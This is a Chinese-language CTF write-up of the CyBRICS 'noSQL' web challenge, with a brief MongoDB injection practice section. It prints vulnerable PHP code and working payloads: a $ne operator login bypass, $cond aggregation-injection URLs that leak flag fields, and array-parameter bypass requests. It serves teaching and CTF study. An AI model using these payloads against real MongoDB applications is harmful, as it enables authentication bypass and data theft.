noSQL Injection
cybrics noSQL
这道题是cybrics的一道web题,由于是第一次接触noSQL注入,所以单独拿出来好好研究一下
php操作mongodb的语法:
// connect to mongodb
$m = new MongoClient();
// select a database
$db = $m->test;
// select collection
$collection = $db->users;
$cursor = $collection->find($data);
$cursor = $collection->findone($data);
基本上就是实例化对象,选择数据库,选择表,然后开始查找
查询语法主要如下:
db.user.find({'username': 'xxxppp'})
//查找用户名不为admin且password为123456的用户
db.user.find({'username':{$ne:'admin'}, 'password':'123456'})
//正则匹配:
db.customer.find({'name': {'$regex':'.*s.*'} })
db.user.find({'username':/jrx/i})
这道题目首先可以用dirsearch发现是git源码泄露,之后用GitHacker.py获取到源码
查看index.php,首先要登陆,需要绕过auth函数
function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}
username和password都没有经过过滤就拼接了,但是这里有一个json_decode不太好过
如果没有json_decode函数,我们可以通过{"username":"admin","password":{"$ne":"1"}}绕过登陆的限制
于是这样做:

这样就绕过限制登陆了
来看第二个:
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>
array_merge函数将$pipeline和filters进行合并
查找资料得知
在mongodb的aggregate中,可以使用$cond进行条件语句:
并且:

我们可以构造如下链接,匹配到flag时将其移除
http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category
利用条件语句,发现flags时,就输出其title:
http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category
从title中我们得知有text,那么读取:
http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=$category
就可以获得flag了

NoSQL注入实践
MongoDb作为一个NoSQL的数据库,操作其实还是很SQL很相似的

都有数据库,不同的是集合对应于表,文档对应于行,字段对应于列
这张图显示了映射关系:

于是操作MongoDb时可以理解为选择数据库,然后选择collection,然后构造查询语句进行查询
比如demo.html
$m = new MongoClient()连接数据库,$db=$m->test选择test数据库,然后选择collection : $collection=$db->uses
构造的查询语句为:
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']
);
之后进行查询: $cursor = $collection->find($data)
这里没有字符串的拼接,似乎无法注入,但是如果我们传入的username和password都是数组的话,那么查询的语句就会成为这样:
构造的URL:http://localhost/NoSQLI/login/login.php?username[$ne]=1&password[$ne]=1&login-submit=login
此时拼接的$data

json_encode后得到:
"{"username":{"$ne":"1"},"password":{"$ne":"1"}}"